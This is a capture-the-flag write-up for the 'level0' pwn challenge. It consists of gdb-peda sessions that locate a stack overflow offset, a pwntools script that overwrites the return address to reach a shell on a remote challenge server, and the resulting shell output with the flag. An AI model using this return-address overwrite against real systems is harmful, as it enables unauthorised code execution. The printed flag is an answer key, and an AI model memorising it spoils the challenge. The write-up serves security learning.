攻防世界-level0
gdb-peda$ run
Starting program: /home/giantbranch/Desktop/study/level0
Hello, World
^C
Program received signal SIGINT, Interrupt.
[----------------------------------registers-----------------------------------]
RAX: 0xfffffffffffffe00
RBX: 0x0
RCX: 0x7ffff7b04260 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x200
RSI: 0x7fffffffdd90 --> 0x0
RDI: 0x0
RBP: 0x7fffffffde10 --> 0x7fffffffde30 --> 0x400600 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffdd88 --> 0x4005c4 (<vulnerable_function+30>: leave)
RIP: 0x7ffff7b04260 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001)
R8 : 0x400670 (<__libc_csu_fini>: repz ret)
R9 : 0x7ffff7de7ab0 (<_dl_fini>: push rbp)
R10: 0x37b
R11: 0x246
R12: 0x4004a0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdf10 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ffff7b04257 <read+7>: jne 0x7ffff7b04269 <read+25>
0x7ffff7b04259 <__read_nocancel>: mov eax,0x0
0x7ffff7b0425e <__read_nocancel+5>: syscall
=> 0x7ffff7b04260 <__read_nocancel+7>: cmp rax,0xfffffffffffff001
0x7ffff7b04266 <__read_nocancel+13>: jae 0x7ffff7b04299 <read+73>
0x7ffff7b04268 <__read_nocancel+15>: ret
0x7ffff7b04269 <read+25>: sub rsp,0x8
0x7ffff7b0426d <read+29>: call 0x7ffff7b220d0 <__libc_enable_asynccancel>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd88 --> 0x4005c4 (<vulnerable_function+30>: leave)
0008| 0x7fffffffdd90 --> 0x0
0016| 0x7fffffffdd98 --> 0x0
0024| 0x7fffffffdda0 --> 0xff00
0032| 0x7fffffffdda8 --> 0x0
0040| 0x7fffffffddb0 --> 0x0
0048| 0x7fffffffddb8 --> 0x0
0056| 0x7fffffffddc0 --> 0x4005c6 (<main>: push rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGINT
0x00007ffff7b04260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84 ../sysdeps/unix/syscall-template.S: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
RAX 0xfffffffffffffe00
RBX 0x0
RCX 0x7ffff7b04260 (__read_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x200
RDI 0x0
RSI 0x7fffffffdd90 ◂— 0x0
R8 0x400670 (__libc_csu_fini) ◂— ret
R9 0x7ffff7de7ab0 (_dl_fini) ◂— push rbp
R10 0x37b
R11 0x246
R12 0x4004a0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffdf10 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffde10 —▸ 0x7fffffffde30 —▸ 0x400600 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffdd88 —▸ 0x4005c4 (vulnerable_function+30) ◂— leave
RIP 0x7ffff7b04260 (__read_nocancel+7) ◂— cmp rax, -0xfff
───────────────────────────────────[ DISASM ]───────────────────────────────────
► 0x7ffff7b04260 <__read_nocancel+7> cmp rax, -0xfff
0x7ffff7b04266 <__read_nocancel+13> jae read+73 <0x7ffff7b04299>
↓
0x7ffff7b04299 <read+73> mov rcx, qword ptr [rip + 0x2ccbd8]
0x7ffff7b042a0 <read+80> neg eax
0x7ffff7b042a2 <read+82> mov dword ptr fs:[rcx], eax
0x7ffff7b042a5 <read+85> or rax, 0xffffffffffffffff
0x7ffff7b042a9 <read+89> ret
0x7ffff7b042aa nop word ptr [rax + rax]
0x7ffff7b042b0 <write> cmp dword ptr [rip + 0x2d2489], 0 <0x7ffff7dd6740>
0x7ffff7b042b7 <write+7> jne write+25 <0x7ffff7b042c9>
↓
0x7ffff7b042c9 <write+25> sub rsp, 8
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7fffffffdd88 —▸ 0x4005c4 (vulnerable_function+30) ◂— leave
01:0008│ rsi 0x7fffffffdd90 ◂— 0x0
... ↓
03:0018│ 0x7fffffffdda0 ◂— 0xff00
04:0020│ 0x7fffffffdda8 ◂— 0x0
... ↓
07:0038│ 0x7fffffffddc0 —▸ 0x4005c6 (main) ◂— push rbp
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 7ffff7b04260 __read_nocancel+7
f 1 4005c4 vulnerable_function+30
f 2 4005f3 main+45
f 3 7ffff7a2d830 __libc_start_main+240
Program received signal SIGINT
gdb-peda$ pattern_create 1000
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$x'
gdb-peda$ pattern_create 1000
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$x'
gdb-peda$ run
Starting program: /home/giantbranch/Desktop/study/level0
Hello, World
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$x
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x200
RBX: 0x0
RCX: 0x7ffff7b04260 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x200
RSI: 0x7fffffffdd90 ("AAA%AAsAABAA$AA"...)
RDI: 0x0
RBP: 0x6c41415041416b41 ('AkAAPAAl')
RSP: 0x7fffffffde18 ("AAQAAmAARAAoAAS"...)
RIP: 0x4005c5 (<vulnerable_function+31>: ret)
R8 : 0x400670 (<__libc_csu_fini>: repz ret)
R9 : 0x7ffff7de7ab0 (<_dl_fini>: push rbp)
R10: 0x37b
R11: 0x246
R12: 0x4004a0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdf10 ("vA%YA%wA%ZA%xA%"...)
R14: 0x0
R15: 0x0
EFLAGS: 0x10217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4005ba <vulnerable_function+20>: mov edi,0x0
0x4005bf <vulnerable_function+25>: call 0x400470 <read@plt>
0x4005c4 <vulnerable_function+30>: leave
=> 0x4005c5 <vulnerable_function+31>: ret
0x4005c6 <main>: push rbp
0x4005c7 <main+1>: mov rbp,rsp
0x4005ca <main+4>: sub rsp,0x10
0x4005ce <main+8>: mov DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde18 ("AAQAAmAARAAoAAS"...)
0008| 0x7fffffffde20 ("RAAoAASAApAATAA"...)
0016| 0x7fffffffde28 ("ApAATAAqAAUAArA"...)
0024| 0x7fffffffde30 ("AAUAArAAVAAtAAW"...)
0032| 0x7fffffffde38 ("VAAtAAWAAuAAXAA"...)
0040| 0x7fffffffde40 ("AuAAXAAvAAYAAwA"...)
0048| 0x7fffffffde48 ("AAYAAwAAZAAxAAy"...)
0056| 0x7fffffffde50 ("ZAAxAAyAAzA%%A%"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004005c5 in vulnerable_function ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
RAX 0x200
RBX 0x0
RCX 0x7ffff7b04260 (__read_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x200
RDI 0x0
RSI 0x7fffffffdd90 ◂— 0x4173414125414141 ('AAA%AAsA')
R8 0x400670 (__libc_csu_fini) ◂— ret
R9 0x7ffff7de7ab0 (_dl_fini) ◂— push rbp
R10 0x37b
R11 0x246
R12 0x4004a0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffdf10 ◂— 0x4177254159254176 ('vA%YA%wA')
R14 0x0
R15 0x0
RBP 0x6c41415041416b41 ('AkAAPAAl')
RSP 0x7fffffffde18 ◂— 0x41416d4141514141 ('AAQAAmAA')
RIP 0x4005c5 (vulnerable_function+31) ◂— ret
───────────────────────────────────[ DISASM ]───────────────────────────────────
0x4005c4 <vulnerable_function+30> leave
► 0x4005c5 <vulnerable_function+31> ret <0x41416d4141514141>
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7fffffffde18 ◂— 0x41416d4141514141 ('AAQAAmAA')
01:0008│ 0x7fffffffde20 ◂— 0x415341416f414152 ('RAAoAASA')
02:0010│ 0x7fffffffde28 ◂— 0x7141415441417041 ('ApAATAAq')
03:0018│ 0x7fffffffde30 ◂— 0x4141724141554141 ('AAUAArAA')
04:0020│ 0x7fffffffde38 ◂— 0x4157414174414156 ('VAAtAAWA')
05:0028│ 0x7fffffffde40 ◂— 0x7641415841417541 ('AuAAXAAv')
06:0030│ 0x7fffffffde48 ◂— 0x4141774141594141 ('AAYAAwAA')
07:0038│ 0x7fffffffde50 ◂— 0x417941417841415a ('ZAAxAAyA')
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 4005c5 vulnerable_function+31
f 1 41416d4141514141
f 2 415341416f414152
f 3 7141415441417041
f 4 4141724141554141
f 5 4157414174414156
f 6 7641415841417541
f 7 4141774141594141
f 8 417941417841415a
f 9 7325412525417a41
f 10 2541242541422541
Program received signal SIGSEGV (fault address 0x0)
gdb-peda$ siAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$x
Undefined command: "siAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB". Try "help".
gdb-peda$
Undefined command: "siAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB". Try "help".
gdb-peda$ pattern_offset AAQAAmAA
AAQAAmAA found at offset: 136
gdb-peda$ pattern_offset AAQAAmAA
AAQAAmAA found at offset: 136
gdb-peda$ pattern_offset
Error: missing argument
Search for offset of a value in cyclic pattern
Set "pattern" option for basic/extended pattern type
Usage:
pattern_offset value
gdb-peda$ pattern_offset $rbp
7800587842530405185 found at offset: 128
gdb-peda$
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io=remote('61.147.171.105',62223)
#nc 61.147.171.105 62223
pad=136
pause()
ret_addr=0x0000000000400596
payload=b'A'*pad+p64(ret_addr)
delimiter='World'
io.sendlineafter(delimiter,payload)
io.interactive()
#0000000000400596
giantbranch@ubuntu:~/Desktop/study$ python level0.py
[+] Opening connection to 61.147.171.105 on port 62223: Done
[*] Paused (press any to continue)
[DEBUG] Received 0xd bytes:
'Hello, World\n'
[DEBUG] Sent 0x91 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000080 41 41 41 41 41 41 41 41 96 05 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
00000090 0a │·│
00000091
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x24 bytes:
'bin\n'
'dev\n'
'flag\n'
'level0\n'
'lib\n'
'lib32\n'
'lib64\n'
bin
dev
flag
level0
lib
lib32
lib64
$ cat flag
[DEBUG] Sent 0x9 bytes:
'cat flag\n'
[DEBUG] Received 0x2d bytes:
'cyberpeace{5789113144e0024092a69c9e11b0f82a}\n'
cyberpeace{5789113144e0024092a69c9e11b0f82a}
$
